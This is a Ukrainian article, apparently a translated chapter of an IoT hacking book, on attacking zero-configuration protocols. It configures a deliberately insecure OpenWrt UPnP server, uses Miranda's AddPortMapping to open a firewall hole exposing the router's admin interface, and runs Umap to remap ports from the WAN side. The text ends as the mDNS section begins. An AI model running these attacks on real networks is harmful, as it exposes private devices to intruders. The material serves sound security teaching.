Частина 6. Злом мережі. (Використання мережі з нульовою конфігурацією)

7 жовтня 2023 17 хвилин Автор: Lady Liberty

Беззусильне мережеве підключення: Занурення в світ нульової конфігурації

Мережа з нульовою конфігурацією — це набір технологій, які автоматизують процеси призначення мережі адреси, розподіл і роздільна здатність імен хостів, а також виявлення мережевих служб без необхідності використання вручну При цьому важливо відзначити, що це не так. Ці технології призначені для роботи в локальній мережі та зазвичай припускають, що учасники середовища погодилися брати участь у службі, що полегшує зловмисникам у мережі їх використання. Системи IoT зазвичай використовують протоколи нульової конфігурації, щоб надати пристроям доступ до мережі, не вимагаючи втручання користувача. У цьому розділі ми розглянемо типові вразливості, виявлені в трьох наборах протоколів з нульовою конфігурацією: Universal Plug and Play (UPnP), багатоадресна система доменних імен (mDNS) і  Domain Name System Service Discovery(Domain Name System Service Discovery, DNS-SD) і Web Services Dynamic Discovery (WS-Discovery) – і обговоріть, як атакувати системи IoT, які на них покладаються.

Ми обійдемо брандмауер, отримаємо доступ до документів шляхом імітації мережевого принтера в мережі, фальсифікуємо трафік аналогічно IP-камері і багато іншого. В сучасному світі інформаційних технологій спеціалісти з кібербезпеки постійно шукають нові методи та стратегії для підвищення ефективності своєї роботи. Один з ключових інструментів для цього — використання мережі з нульовою конфігурацією. Що це таке і чому це важливо? Мережа з нульовою конфігурацією дозволяє користувачам підключатися до мережі без необхідності ручного налаштування. Це значно спрощує процес розгортання мережі, особливо для великих організацій і компаній. Але як правильно використовувати таку мережу в контексті кібербезпеки? Ми розглянемо ключові аспекти, такі як автоматичне розпізнавання пристроїв, захист даних та методи виявлення аномалій. Вивчення цієї теми допоможе вам підвищити ефективність вашої мережевої системи, забезпечити захист від потенційних загроз та зрозуміти, як найкраще використовувати доступні інструменти для аналізу та налаштування мережі.

Використання UPnP

Набір мережевих протоколів UPnP автоматизує процес додавання та налаштування пристрою та системи в мережі. Пристрій, який підтримує UPnP, може динамічно приєднуватися до мережі, повідомляти своє ім’я та можливості, виявляти інші пристрої та вивчати їхні можливості. Наприклад, люди використовують програми UPnP, щоб легко знаходити мережеві принтери, автоматизувати відображення портів на домашніх маршрутизаторах і керувати службами потокового відео.

Але ця автоматизація має свою ціну, про яку ми поговоримо нижче. Спочатку представимо огляд UPnP, а потім налаштуємо тестовий сервер UPnP і будемо використовувати його для виявлення прогалин у брандмауері. Ми також пояснимо, як працюють інші UPnP-атаки та як поєднувати небезпечні реалізації UPnP з іншими вразливостями для здійснення потужних атак.

Коротка історія вразливостей UPnP

UPnP має довгу історію зловживань. У 2001 році зловмисники почали виконувати атаки переповнення буфера та відмову в обслуговуванні проти реалізації UPnP у стеку Windows XP. Оскільки багато домашніх модемів і маршрутизаторів, підключених до мережі оператора, почали використовувати UPnP у 2000-х роках, Армійн Хемел з upnp-hacks. Організація почала повідомляти про вразливості в багатьох із цих стеків. Тоді,  У 2008 році організація безпеки GNUcitizen виявила інноваційний спосіб використання уразливості в плагіні Adobe Flash для Internet Explorer (https:// www.gnucitizen.org/blog/hacking-the-interwebs/) для виконання атаки переадресації портів на пристрої з підтримкою UPnP, що належать користувачам, які відвідували шкідливі веб-сторінки. У 2011 році на конференції Defcon 19 Даніель Гарсія представив новий інструмент під назвою Umap (https://toor.do/DEFCON-19-Garcia-UPnP-Mapping-WP. pdf), який може зламувати пристрої UPnP з глобальної мережі, запитуючи відображення портів через Інтернет. (У цьому розділі ми будемо використовувати Umap.) У 2012 році Х.Д. Мур просканував весь Інтернет на наявність доступних вразливостей UPnP, а в 2013 році опублікував технічний звіт з деякими тривожними результатами: Мур виявив 81 мільйон пристроїв, чиї послуги були доступні через Інтернет, а також різні уразливості, які могли бути використані в двох популярних стеках UPnP (https:// information.rapid7.com/rs/411-NAK-970/images/SecurityFlawsUPnP%20%281%29.pdf). У 2017 році Akamai продовжив цю роботу, виявивши 73 постачальники з подібною вразливістю (https://www.akamai.com/content/dam/site/en/documents/ research-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper. Ці постачальники надали послуги UPnP, які можуть призвести  до зловживання службою трансляції мережевих адрес (NAT), яку зловмисники можуть використовувати для створення проксі-мережі або доступу до комп’ютерів за межами локальної мережі (атака під назвою UPnProxy).

І це лише основні витяги з історії вразливостей UPnP.

Стек UPnP

Стек UPnP складається з шести рівнів: адресація, виявлення, опис, керування, обробка подій і презентація.

На  рівні адресації системи з  підтримкою UPnP намагаються отримати IP-адресу через DHCP. Якщо це неможливо, вони призначають адресу з діапазону 169.254.0.0/16 (RFC 3927), процес, який називається AutoIP.

Далі  йде рівень виявлення, на якому система шукає інші пристрої в мережі за допомогою протоколу Simple Service Discovery Protocol (SSDP). Існує два способи виявлення пристроїв:  активний  і пасивний. Коли використовується активний метод, пристрої з підтримкою UPnP надсилають повідомлення про виявлення (так званий  запит M-SEARCH) на широкомовну адресу 239.255.255.250 на порту UDP 1900. Ми назвемо цей запит HTTPU (HTTP over UDP),  тому що він містить заголовок, подібний до заголовка HTTP. Запит M-SEARCH виглядає так:

M-SEARCH * HTTP/1.1
ST: ssdp:all
MX: 5
MAN: ssdp:discover
HOST: 239.255.255.250:1900

Очікується, що системи UPnP, які прослуховують запит, відповість одноадресним повідомленням UDP, яке оголошує розташування HTTP файлу опису XML, у якому перелічено підтримувані служби пристроїв. (У главі 4 ми продемонстрували, як підключити IP-веб-камеру до спеціальної мережевої служби, яка повертає інформацію, подібну до тієї, що зазвичай міститься у файлі опису XML, припускаючи, що пристрій може підтримувати UPnP.)

При пасивному методі пристрої з підтримкою UPnP періодично рекламують свої послуги в мережі, відправляючи повідомлення NOTIFY на багатоадресну адресу 239.255.255.250 на порту UDP 1900. Повідомлення, яке слідує за ним, подібне до повідомлення, надісланого у відповідь на активний виявлений об’єкт:

NOTIFY * HTTP/1.1\r\n
HOST: 239.255.255.250:1900\r\n
CACHE-CONTROL: max-age=60\r\n
LOCATION: http://192.168.10.254:5000/rootDesc.xml\r\n
SERVER: OpenWRT/18.06-SNAPSHOT UPnP/1.1 MiniUPnPd/2.1\r\n
NT: urn:schemas-upnp-org:service:WANIPConnection:2\r\n

Будь-який зацікавлений член мережі може прослухати ці повідомлення про виявлення та надіслати повідомлення з описом послуг. На рівні опису учасники UPnP дізнаються більше про пристрій, його можливості та способи взаємодії з ним. Опис кожного профілю UPnP є посиланням або у значенні поля LOCATION повідомлення-відповіді, отриманого під час  активного  виявлення, або в повідомленні NOTIFY, отриманому під час пасивного виявлення. Поле LOCATION містить URL-адресу, яка вказує на файл опису XML, що складається з URL-адрес, що використовуються на етапах керування та обробки подій (описано нижче).

Площина управління, мабуть, найважливіша; вона дозволяє клієнтам надсилати команди на пристрій UPnP, використовуючи URL-адресу з файлу опису. Вони можуть зробити це за допомогою  протоколу  простого доступу до об’єктів (SOAP), протоколу обміну повідомленнями, який використовує XML через HTTP. Пристрої надсилають запити SOAP на кінцеву  точку controlURL, описану в тегу <service> внутрішній і описовий файл. Тег <service>  виглядає так:

<service>
 <serviceType>urn:schemas-upnp-org:service:WANIPConnection:2</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
<SCPDURL>/WANIPCn.xml</SCPDURL>
<controlURL>/ctl/IPConn</controlURL>
<eventSubURL>/evt/IPConn</eventSubURL>
</service>

Ви можете побачити controlURL. Рівень подій повідомляє клієнтів, що вони підписалися на певний eventURL, також описаний у службовому тегу всередині XML-файлу опису. Ці URL-адреси подій пов’язані з конкретними змінними станами (також включеними у XML-файл опису), які моделюють стан служби під час виконання. Ми не будемо використовувати змінні стани у цьому розділі. Рівень представлення надає інтерфейс користувача на основі HTML для управління пристроєм і перегляду його стану, наприклад, в інтерфейсі вебкамери або маршрутизатора з підтримкою UPnP.

Поширені уразливості UPnP

UPnP має довгу історію впровадження з помилками та недоліками. Перш за все, оскільки UPnP був розроблений для використання всередині локальних мереж, у протоколі відсутня аутентифікація; Отже, будь-хто в мережі може скористатися ним у зловмисних цілях.

Стеки UPnP сумно відомі поганою перевіркою введення, що призводить до таких недоліків, як  помилка валідації NewInternalClient. Ця помилка дозволяє використовувати будь-який тип IP-адреси, внутрішній або зовнішній, для  поля NewInternalClient  у правилах переадресації портів пристрою. Це означає, що зловмисник може перетворити вразливий маршрутизатор на проксі. Наприклад, уявіть, що ви додаєте правило переадресації портів, яке встановлює  NewInternalClient на IP-адресу sock-raw.org, NewInternalPort на  порт TCP 80, а NewExternalPort на 6666.  Потім, отримавши доступ до зовнішньої IP-адреси маршрутизатора на порту 6666, ви повинні змусити маршрутизатор отримати доступ до веб-сервера sock-raw.org, не показуючи свою IP-адресу в цільових журналах. У наступному розділі ми розглянемо варіант цієї атаки.

У той же час стеки UPnP іноді містять помилки пошкодження пам’яті, які в кращому випадку можуть призвести до віддалених атак типу «відмова в обслуговуванні», а в гіршому – до віддаленого виконання коду. Наприклад, зловмисники виявили пристрої, які використовують SQL-запити для оновлення своїх правил у пам’яті, одночасно приймаючи нові правила через UPnP, що робить їх вразливими до атак SQL-ін’єкцій. Крім того,  Оскільки UPnP покладається на XML, слабо налаштовані механізми аналізу XML з нульовою конфігурацією можуть стати жертвами   атак на зовнішню сутність (XXE). Під час цих атак рушій обробляє потенційно шкідливі вхідні дані, які містять посилання на зовнішній об’єкт, розкривають конфіденційну інформацію або спричиняють інші наслідки для системи. Що ще гірше, специфікація не схвалює і прямо не забороняє UPnP в інтерфейсах WAN, орієнтованих на Інтернет.  Навіть якщо деякі постачальники дотримуються найкращих практик, помилки реалізації часто призводять до того, що запити WAN можуть бути пропущені.

І останнє, але не менш важливе: пристрої часто не реєструють запити UPnP, а це означає, що користувач не може дізнатися, чи заважає зловмисник їхній роботі. Навіть якщо пристрій підтримує ведення журналу UPnP, журнал зазвичай зберігається на стороні клієнта на пристрої та не має параметрів, які можна налаштувати через інтерфейс користувача.

Пробиття лазівок у брандмауері

Проведемо, мабуть, найпоширенішу атаку на UPnP: створення лазівок у брандмауері. Іншими словами, ця атака додасть або змінить правило в конфігурації брандмауера, яке надає доступ до безпечної мережевої служби. Таким чином, ми пройдемося по різних рівнях UPnP і зможемо краще зрозуміти, як працює протокол.

Як працює атака

Ця атака брандмауера покладається на дозволи за замовчуванням для Internet Gateway Device (IGD), реалізовані через UPnP. IGD відображає порти в налаштуваннях трансляції мережевих адрес (NAT).

Майже кожен домашній маршрутизатор використовує NAT, систему, яка дозволяє декільком пристроям використовувати одну і ту ж зовнішню IP-адресу, перепризначаючи IP-адресу приватній мережевій адресі. Зовнішня IP-адреса зазвичай є загальнодоступною адресою, яку ваш інтернет-провайдер призначає вашому модему або маршрутизатору. Приватні IP-адреси можуть бути будь-якими зі стандартного діапазону RFC 1918: 10.0.0.0 – 10.255.255.255 (клас A), 172.16.0.0 – 172.31.255.255 (клас B) або 192.168.0.0 – 192.168.255.255 (клас C).

Незважаючи на те, що NAT зручний для домашніх рішень і зберігає адресний простір IPv4, він має деякі проблеми з гнучкістю. Наприклад, що відбувається, коли програмам, таким як клієнти BitTorrent, потрібно підключитися до зовнішніх систем через певний публічний порт, але вони стоять за пристроєм NAT? Якщо пристрій не зіставляє цей порт безпосередньо з Інтернетом, вузол не зможе підключитися до нього. Одне з рішень – попросити користувача вручну налаштувати переадресацію портів на своєму маршрутизаторі. Але це було б незручно, особливо якщо порт доводилося міняти при кожному підключенні. Крім того, якщо порт був статично встановлений у налаштуваннях переадресації портів маршрутизатора, будь-яка інша програма, якій потрібно було б використовувати цей конкретний порт, не зможе цього зробити. Причина цього полягає в тому, що відображення зовнішнього порту вже пов’язане з певним внутрішнім портом і IP-адресою, тому його доведеться переналаштовувати для кожного з’єднання.

Ось тут і з’являється IGD. IGD дозволяє додатку динамічно додавати тимчасове відображення портів на маршрутизаторі протягом певного періоду часу. Це вирішує обидві проблеми: користувачам не потрібно вручну налаштовувати переадресацію портів, і це дозволяє змінювати порт для кожного з’єднання.

Але зловмисники можуть зловживати IGD у небезпечних налаштуваннях UPnP. Як правило, системи, що стоять за пристроєм NAT, повинні мати можливість переадресовувати порти лише на власні порти. Проблема полягає в тому, що багато пристроїв IoT, навіть у наші дні, дозволяють будь-кому в мережі додавати відображення портів для інших систем. Це дозволяє зловмисникам у мережі виконувати шкідливі дії, наприклад, розкривати інтерфейс адміністрування маршрутизатора в Інтернеті.

Налаштування тестового сервера UPnP

Давайте почнемо з налаштування MiniUPnP, легкої реалізації сервера IGD UPnP, на образі OpenWrt, щоб у нас був сервер UPnP для атаки. OpenWrt — це операційна система на базі Linux з відкритим вихідним кодом, призначена для вбудованих пристроїв; Використовується в основному для мережевих маршрутизаторів. Ви можете пропустити цей розділ конфігурації, якщо завантажите відповідну віртуальну машину OpenWrt зі  сторінки https://nostarch.com/practical-iot-hacking/.

Опис того, як налаштувати OpenWrt, виходить за рамки цієї книги, але ви  можете знайти посібник про те, як його налаштувати, на https:// openwrt.org/docs/guide-user/virtualization/vmware.   Перетворіть образ OpenWr/18.06 на образ, сумісний з VMware, і запустіть його за допомогою робочої станції або програвача VMware у вашій локальній мережі лабораторії. Ви можете знайти знімок x86, який ми використовували для OpenWrt 18.06,  на https://downloads. openwrt.org/releases/18.06.4/targets/x86/generic/. Потім налаштуйте конфігурацію мережі, що особливо важливо для демонстрації атаки.

У  налаштуваннях ВМ ми налаштували два мережеві адаптери:

  • адаптер, підключений до локальної мережі та відповідний eth0 (інтерфейс LAN). У нашому випадку ми статично налаштували його так, щоб він мав IP-адресу 192.168.10.254, відповідну нашої локальної мережевої лабораторії. Ми налаштували IP-адресу, вручну відредагувавши /etc/network/config – файл нашої віртуальної машини OpenWrt. Налаштуйте його відповідно до конфігурації вашої локальної мережі;

  • адаптер, налаштований як інтерфейс NAT VMware і відповідає eth1 (інтерфейс WAN). Йому автоматично була призначена IP-адреса 192.168.92.148 через DHCP. Він імітує зовнішній, або PPP, інтерфейс маршрутизатора, який буде підключений до провайдера інтернет-послуг і матиме загальнодоступну IP адресу.

Якщо ви раніше не користувалися VMware, скористайтеся посібником, доступним на сторінці https://www.vmware.com/support/ws45/ doc/network_configure_ws.html: Це допоможе вам налаштувати додаткові мережеві інтерфейси для вашої віртуальної машини. Незважаючи на те, що там згадується версія 4.5, інструкції застосовні до кожної сучасної реалізації VMware. Якщо ви використовуєте VMware Fusion на macOS, посібник, доступний на https://docs.vm ware.com/en/VMware-Fusion/12/com.vmware.fusion.using.doc/GUID-E498672E, може допомогти19ДД-40ДФ-92Д3-FC0078947958.html. У будь-якому випадку додайте другий  мережний адаптер і змініть його параметри на NAT (так званий «Спільний доступ з моїм Mac» у Fusion), а потім змініть перший мережний адаптер на Bridged (режим мосту, який називається Bridged Networking in Fusion).

Ви можете налаштувати параметри VMware таким чином, щоб режим моста застосовувався тільки до адаптера, який фактично підключений до вашої локальної мережі. Оскільки у вас є два адаптери, функція VMware Auto Bridge може спробувати пройти через адаптер, який не підключено. Зазвичай використовується один адаптер Ethernet і один адаптер Wi-Fi, тому уважно перевіряйте, який з них до якої мережі підключений.

Мережеві інтерфейси тепер є частиною віртуальної машини OpenWrt. Файл  /etc/config/network  має виглядати приблизно так:

config interface 'lan'
 option ifname 'eth0'
 option proto 'static'
 option ipaddr '192.168.10.254'
 option netmask '255.255.255.0'
 option ip6assign '60'
 option gateway '192.168.10.1'
config interface 'wan'
 option ifname 'eth1'
 option proto 'dhcp'
config interface 'wan6'
 option ifname 'eth1'
 option proto 'dhcpv6'

Переконайтеся, що ваш OpenWrt має підключення до Інтернету, а потім введіть наступну команду в оболонці, щоб встановити  сервер MiniUPnP і luci-app-upnp. Пакет luci-app-upnp  дозволяє налаштовувати та відображати параметри UPnP через Luci, веб-інтерфейс за замовчуванням для OpenWrt:

# opkg update && opkg install miniupnpd luci-app-upnp

Далі нам потрібно налаштувати MiniUPnPd. Введіть наступну команду, щоб відредагувати файл за допомогою Vim (або скористайтеся текстовим редактором на ваш вибір):

# vim /etc/init.d/miniupnpd

Прокрутіть вниз до точки, де  config_load рядок “upnpd” зустрічається вдруге (у MiniUPnP версії 2.1-1 це рядок 134). Змініть налаштування наступним чином:

config_load "upnpd"
upnpd_write_bool enable_natpmp 1
upnpd_write_bool enable_upnp 1
upnpd_write_bool secure_mode 0

Найголовнішою зміною є відключення secure_mode. Вимкнення цього параметра дозволяє клієнтам переадресовувати вхідні порти на IP-адреси, відмінні від власних. Цей параметр увімкнено за замовчуванням, що означає, що сервер забороняє зловмиснику додавати відображення портів, які перенаправлятимуть з’єднання на будь-яку іншу IP-адресу.

Команда  config_load “upnpd”  також завантажує додаткові налаштування з файлу /etc/config/upnpd, які слід змінити наступним чином:

config upnpd 'config'
 option download '1024'
 option upload '512'
 option internal_iface 'lan'
 option external_iface 'wan' 
 option port '5000'
 option upnp_lease_file '/var/run/miniupnpd.leases'
 option enabled '1' 
 option uuid '125c09ed-65b0-425f-a263-d96199238a10'
 option secure_mode '0'
 option log_output '1'
config perm_rule
 option action 'allow'
 option ext_ports '1024-65535'
 option int_addr '0.0.0.0/0'
 option int_ports '0-65535'
 option comment 'Allow all ports'

По-перше, потрібно вручну додати опцію зовнішнього інтерфейсу; інакше сервер не дозволить перенаправлення порту на інтерфейс WAN. По-друге, увімкніть сценарій ініціалізації для запуску MiniUPnP. По-третє, дозвольте перенаправлення на все внутрішні порти, починаючи з 0. За замовчуванням MiniUPnPd дозволяє перенаправлення лише певні порти. Ми видалили все Інші правила perm_rules. Якщо ви скопіюєте показаний тут файл /etc/config/upnpd, він працюватиме правильно. Після внесення змін перезапустіть демон MiniUPnP, використовуючи наступну команду:

# /etc/init.d/miniupnpd restart

Вам також потрібно буде перезапустити брандмауер OpenWrt після перезапуску сервера. Брандмауер є частиною операційної системи Linux, і в OpenWrt він включений за замовчуванням. Ви можете легко зробити це, перейшовши до веб-інтерфейсу за адресою http://192.168.10.254/cgibin/luci/admin/status/iptables/ і натиснувши Restart Firewall або ввівши в термінал наступну команду:

# /etc/init.d/firewall restart

Поточні версії OpenWrt є більш безпечними, і ми навмисно робимо цей сервер небезпечним для цілей цієї вправи. Однак незліченна кількість доступних продуктів IoT налаштована таким чином за замовчуванням.

Створення лазівок в брандмауері

Після того, як ми налаштували наше тестове середовище, давайте спробуємо атакувати брандмауер, зловживаючи  службою IGD. Ми будемо використовувати підпрофіль IGD WANIPConnection, який підтримує дії AddPortMapping і DeletePortMapping,  щоб додавати і видаляти відображення портів Exploiting Zero-Configuration Networking 125 відповідно. Ми скористаємося  командою   AddPortMapping Інструмент тестування UPnP Miranda, який попередньо встановлено на Kali Linux. Якщо у вас немає попередньо встановленого інструменту Miranda, ви завжди можете отримати його за адресою https://github.com/0x90/miranda-upnp/  – зауважте, що для його запуску вам знадобиться Python 2. У лістингу 6.1 Miranda використовується для проникнення в брандмауер вразливого маршрутизатора OpenWrt.

Лістинг коду 6.1. Проникнення в брандмауер маршрутизатора OpenWrt за допомогою Miranda

# miranda
upnp> msearch
upnp> host list
upnp> host get 0
upnp> host details 0
upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping
 Set NewPortMappingDescription value to: test
 Set NewLeaseDuration value to: 0
 Set NewInternalClient value to: 192.168.10.254
 Set NewEnabled value to: 1
 Set NewExternalPort value to: 5555
 Set NewRemoteHost value to:
 Set NewProtocol value to: TCP
 Set NewInternalPort value to: 80

Команда msearch  надсилає пакет M-SEARCH* на широкомовну адресу 239.255.255.250 на порту UDP 1900, завершуючи фазу активного виявлення, як описано в розділі «Стек UPnP». Ви можете натиснути Ctrl+C у будь-який час, щоб припинити очікування нових відповідей, і ви повинні зробити це, коли ваша ціль відповість.

Host 192.168.10.254 тепер має з’явитися  у списку вузлів,  який є списком цілей, які інструмент відстежує всередині та разом із пов’язаним індексом. Передайте індекс як аргумент команді  get host,  щоб отримати файл опису rootDesc.xml. Після цього всі підтримувані профілі та підпрофілі IGD повинні бути відображені в відомостях про хост. У цьому випадку для нашої мети має бути WAN- IPConnection у WANConnectionDevice.

Нарешті, ми відправляємо хосту команду AddPortMapping,  щоб перенаправити зовнішній порт 5555 (вибраний випадковим чином) на внутрішній порт веб-сервера, що відкриває інтерфейс веб-адміністрування в Інтернет. Коли ми вводимо команду, ми повинні вказати її аргументи.   NewPortMappingDescription — це будь-яке значення рядка, яке зазвичай відображається в налаштуваннях UPnP маршрутизатора для відображення. NewLeaseDuration визначає, як довго буде активним прив’язка портів. Значення 0, показане тут, означає необмежений час. Аргументом NewEnabled  може бути 0 (неактивний) або 1 (активний). NewInternalClient відноситься до IP-адреси внутрішнього хоста, з яким пов’язаний дисплей. NewRemoteHost,  зазвичай, порожній. В іншому випадку буде обмежено прив’язку портів лише цим конкретним зовнішнім хостом. NewProtocol може бути TCP або UDP. NewInternalValue  — це хост-порт  NewInternalClient, до якого трафік надходить на  NewExternalPort.

Тепер ми можемо побачити нове відображення портів, відвідавши веб-інтерфейс маршрутизатора OpenWrt за адресою 192.168.10.254/cgi/bin/luci/admin/services/upnp

Щоб перевірити, чи була наша атака успішною, давайте відвідаємо зовнішню IP-адресу нашого маршрутизатора 192.168.92.148 на переадресованому порту 5555. Майте на увазі, що приватний веб-інтерфейс зазвичай не повинен бути доступним через загальнодоступний інтерфейс. . На малюнку 6.2 показаний результат.

Після того, як ми відправили  команду AddPortMapping, приватний веб-інтерфейс став доступним через інтерфейс на порту 5555.

Зловживання UPnP через інтерфейси WAN

Спробуємо використовувати UPnP віддалено через інтерфейс WAN. Ця тактика може дозволити зовнішньому зловмиснику завдати певної шкоди, наприклад, переадресувати порти від хостів до внутрішньої та локальної мережі або виконати інші корисні команди IGD, такі як GetPassword або GetUserName. Ви можете виконати цю атаку на недосконалі або небезпечні реалізації UPnP.

Для здійснення цієї атаки ми будемо використовувати Umap, інструмент, написаний спеціально для цієї мети.

Як працює атака

З міркувань безпеки більшість пристроїв зазвичай не приймають пакети SSDP через інтерфейс WAN, але деякі пристрої можуть приймати команди IGD через відкриті контрольні точки SOAP. Це означає, що зловмисник може взаємодіяти з ними безпосередньо з Інтернету.

З цієї причини Umap пропускає крок виявлення стека UPnP (етап, на якому пристрій використовує SSDP для виявлення інших пристроїв у мережі) і намагається просканувати файли опису XML безпосередньо. Якщо він знаходить такий файл, він переходить до етапу керування UPnP і намагається зв’язатися з пристроєм, надсилаючи йому запити SOAP, спрямовані на URL-адресу у файлі опису. На мал 6.3 представлена структурна схема сканування внутрішніх мереж за допомогою Umap.

Umap спочатку намагається знайти контрольні точки IGD, перевіряючи багато відомих місць розташування файлів XML (наприклад, /rootDesc.xml або /upnp/IGD.xml). Після їх успішного виявлення Umap намагається вгадати IP-блок внутрішньої локальної мережі. Пам’ятайте, що ви скануєте зовнішню IP-адресу (звернену до Інтернету), тому адреси за пристроєм NAT будуть іншими.

Потім Umap надсилає команду відображення портів IGD для кожного спільного порту, перенаправляючи цей порт до глобальної мережі. Далі він намагається підключитися до цього порту. Якщо порт закритий, він надсилає команду IGD для видалення відображення порту. В іншому випадку він повідомляє, що порт відкритий, і залишає відображення порту без змін. За замовчуванням скануються такі спільні порти (жорстко закодовані у змінній commonPorts у  umap.py):

commonPorts = ['21','22','23','80','137','138','139','443','445','3389',
'8080']

Звичайно ж, ви можете відредагувати  змінну commonPorts  і спробувати переспрямувати інші порти. Ви можете знайти хороший довідник для найбільш часто використовуваних портів TCP, виконавши наступну команду Nmap:

# nmap --top-ports 100 -v -oG –
Nmap 7.70 scan initiated Mon Jul 8 00:36:12 2019 as: nmap --top-ports 100 -v -oG -
# Ports scanned: TCP(100;7,9,13,21-23,25-26,37,53,79-81,88,106,110-
111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-
544,548,554,587,631,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-
2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,56-
31,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-
10000,32768,49152-49157) UDP(0;) SCTP(0;) PROTOCOLS(0;)

Отримання та використання Umap

Umap був вперше представлений на Defcon 19 Даніелем Гарсією; останню версію інструменту можна знайти на сайті його автора: https://toor.do/umap-0.8.tar.gz. Після розпакування стисненого архіву Umap ви також можете встановити SOAPpy та iplib:

# apt-get install pip
# pip install SOAPpy
# pip install iplib

Umap написаний на Python 2, який офіційно більше не підтримується; тому, якщо ваш дистрибутив Linux не має менеджера пакетів Python 2, вам доведеться завантажити його вручну з https://pypi.org/project/pip/#files. Завантажте останню версію вихідного коду та запустіть її так:

# tar -xzf pip-20.0.2.tar.gz
# cd pip-20.0.2
# python2.7 setup install

Запустіть Umap за допомогою наступної команди (заміна IP-адреси на зовнішню IP-адресу вашого об’єкта):

# ./umap.py -c -i 74.207.225.18

Після запуску Umap реалізує блок-схему виду, показану на рис. 6.3. Навіть якщо пристрій не оголошує команду IGD (це означає, що команду не обов’язково вказувати як  controlURL у файлі опису XML), деякі системи все одно приймають команди через помилкову реалізацію UPnP. Тому ви завжди повинні перевіряти їх усі під час належного тесту на безпеку. У таблиці 6.1 наведено список команд IGD, які тестуються.

Зауважте, що остання загальнодоступна версія Umap (0.8) не перевіряє ці команди автоматично. Ви можете знайти більше інформації про них в офіційній специфікації за адресою http://upnp.org/specs/gw/UPnP-gw-ANPPPConnec tion-v1-Service.pdf/.

Після того, як Umap виявить зовнішню службу IGD, ви можете використовувати Miranda для ручного тестування цих команд. Залежно від команди, ви повинні отримати різні відповіді. Наприклад, якщо ми повернемося до нашого вразливого маршрутизатора OpenWrt і запустимо Miranda проти нього, ми зможемо побачити вихідні дані деяких з цих команд:

upnp> host send 0 WANConnectionDevice WANIPv6FirewallControl GetFirewallStatus
InboundPinholeAllowed : 1
FirewallEnabled : 1
upnp> host send 0 WANConnectionDevice WANIPConnection GetStatusInfo
NewUptime : 10456
NewLastConnectionError : ERROR_NONE
NewConnectionStatus : Connected

Але інструмент не завжди може вказувати на те, що команда була успішною, тому обов’язково активуйте аналізатор пакетів, такий як Wireshark, щоб зрозуміти, що відбувається за лаштунками.

Запуск відомостей про хост надасть вам довгий список всіх заявлених команд, але ви все одно повинні спробувати протестувати їх усі. Наступний результат показує лише першу частину списку для системи OpenWrt, яку ми налаштували раніше:

upnp> host details 0
Host name: [fd37:84e0:6d4f::1]:5000
UPNP XML File: http://[fd37:84e0:6d4f::1]:5000/rootDesc.xml
Device information:
 Device Name: InternetGatewayDevice
 Service Name: Device Protection
 controlURL: /ctl/DP
 eventSUbURL: /evt/DP
 serviceId: urn:upnp-org:serviceId:DeviceProtection1
 SCPDURL: /DP.xml
 fullName: urn:schemas-upnp-org:service:DeviceProtection:1
 ServiceActions:
 GetSupportedProtocols
 ProtocolList
 SupportedProtocols:
 dataType: string
 sendEvents: N/A
 allowedVallueList: []
 direction: out
 SendSetupMessage
 …

У цих виведених даних міститься лише невелика частина довгого списку оголошених команд UPnP.

Інші атаки UPnP

Також можна спробувати інші  анти-UPnP-атаки. Наприклад, ви можете скористатися вразливістю XSS перед аутентифікацією у веб-інтерфейсі маршрутизатора, враховуючи можливість переадресації портів UPnP. Цей тип атаки працюватиме віддалено, навіть якщо маршрутизатор блокує запити WAN. Для цього спочатку потрібно застосувати методи соціальної інженерії, щоб обманом змусити користувача відвідати веб-сайт, на якому розміщено шкідливе корисне навантаження JavaScript за допомогою XSS. XSS дозволить ураженому маршрутизатору увійти в ту саму локальну мережу, що й користувач, щоб ви могли надсилати йому команди через службу UPnP. Ці команди у вигляді спеціально створених внутрішніх XML-запитів і об’єкта XMLHttpRequest можуть змусити маршрутизатор перенаправляти порти з локальної мережі в Інтернет.

Використання mDNS і DNS-SD

Multicast DNS (Broadcast DNS,  mDNS) – це протокол нульової конфігурації, який дозволяє виконувати DNS-подібні операції в локальній мережі без звичайного одноадресного DNS-сервера. Протокол використовує той самий API, формати пакетів і робочу семантику, що й DNS, що дозволяє розпізнавати доменні імена в локальній мережі. DNS Service Discovery (DNS-SD) — це протокол, який дозволяє клієнтам виявляти список іменованих екземплярів служб (наприклад, test._ipps._tcp.local або linux._ssh._tcp.local) у домені за допомогою стандартних DNS-запитів. DNS-SD найчастіше використовується у поєднанні з mDNS, але не залежить від нього. Обидва вони використовуються багатьма пристроями IoT, такими як мережеві принтери, Apple TV, Google Chromecast, мережеві пристрої зберігання даних (NAS) і камери. Більшість сучасних операційних систем їх підтримують.

Обидва протоколи працюють в одному і тому ж широкомовному домені; це означає, що пристрої використовують один і той самий рівень даних, який також називають локальним каналом зв’язку або рівнем 2 у моделі комп’ютерних мереж Open Systems Interconnection (OSI). Це означає, що повідомлення не будуть проходити через маршрутизатори, які працюють на рівні 3. Пристрої мають бути підключені до одних і тих самих розширювачів Ethernet або мережевих комутаторів, щоб прослуховувати ці багатоадресні повідомлення та відповідати на них.

Протоколи локальних каналів можуть створювати вразливості з двох причин. По-перше, навіть якщо ви зазвичай стикаєтеся з цими протоколами на локальному з’єднанні, локальна мережа не обов’язково є надійною для взаємодіючих учасників. У складних мережевих середовищах часто відсутня належна сегментація, що дозволяє зловмисникам переміщатися з однієї частини мережі в іншу (наприклад, шляхом компрометації маршрутизаторів). Крім того, корпоративні середовища часто мають політику «принеси свій власний пристрій» (BYOD), яка дозволяє співробітникам використовувати свої особисті пристрої в цих мережах. Ситуація загострюється в мережах загального користування, наприклад, в аеропортах або кафе. По-друге, небезпечна реалізація цих сервісів може дозволити зловмисникам використовувати їх віддалено, повністю минаючи локальні посилання.

У цьому розділі ми розглянемо, як цими двома протоколами можна зловживати в екосистемах IoT. Ви можете виконувати розвідку, атаки типу “людина посередині”, атаки типу “відмова в обслуговуванні”, одноадресне отруєння кешу DNS та багато іншого!

Як працює mDNS

